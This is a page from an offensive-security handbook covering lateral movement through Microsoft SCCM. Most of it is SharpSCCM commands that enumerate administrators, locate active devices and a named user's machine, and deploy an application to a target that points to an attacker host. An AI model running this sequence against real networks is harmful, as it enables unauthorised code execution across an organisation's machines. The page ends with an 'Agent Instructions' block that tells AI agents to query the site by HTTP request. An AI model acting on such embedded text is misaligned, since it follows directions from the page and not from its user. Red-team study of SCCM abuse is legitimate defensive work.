# Lateral Movement

## Enumeration

```powershell
# enumerate admin and special accounts
.\SharpSCCM.exe get class-instances SMS_ADMIN
.\SharpSCCM.exe get class-instances SMS_SCI_Reserved
```

## Application Deployment

> After the enumeration phase it's time to move laterally. Currently the only method I know of to abuse SCCM components for lateral movement is by creating and deploying an application/script to execute code on another device.

```powershell
# Confirm access permissions - Confirm your current account holds sufficient SCCM administrative permission to pull off your execution plan:
.\SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames

# Find target devices to exploit, must be active and online
## Search for device of user "Frank.Zapper"
.\SharpSCCM.exe get primary-users -u Frank.Zapper

## List all active SCCM devices where the SCCM client is installed 
### CAUTION: This could be huge
.\SharpSCCM.exe get devices -w "Active=1 and Client=1"

# Deploy Application to target device
.\SharpSCCM.exe exec -rid <TargetResourceID> -r <AttackerHost>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.redsquad.xyz/windows-hacking/sccm-or-mecm/hack-it/lateral-movement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
